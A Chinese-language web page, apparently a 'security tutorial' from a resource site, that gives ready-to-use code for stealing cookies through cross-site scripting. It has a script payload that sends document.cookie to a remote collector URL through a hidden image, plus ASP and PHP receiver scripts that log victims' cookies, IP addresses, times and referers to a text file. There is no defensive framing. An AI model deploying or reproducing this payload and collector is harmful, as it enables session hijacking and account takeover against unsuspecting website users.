asp php XSS获取cookie的代码

2023-12-01 0 1,008

<script>document.write(\'<img src="http://url/news.asp?msg=\’+document.cookie+\’" width=0 height=0 border=0 />\’);</script> news.asp代码: <% msg=Request.ServerVariables("QUERY_STRING") testfile=Server.MapPath("cook.txt") set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.Writeline(""&msg& "") thisfile.close set fs = nothing %> PHP版代码: <?php $cookie = $_GET[\’c\’]; $ip = getenv (\’REMOTE_ADDR\’); $time=date("j F, Y, g:i a"); $referer=getenv (\’HTTP_REFERER\’); $fp = fopen(\’cook.txt\’, \’a\’); fwrite($fp, \’Cookie: \’.$cookie.\'<br> IP: \’ .$ip. \'<br> Date and Time: \’ .$time. \'<br> Referer: \’.$referer.\'<br><br><br>\’); fclose ?>

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 安全教程 asp php XSS获取cookie的代码 https://www.u-9.cn/security/jiaocheng-security/8791.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务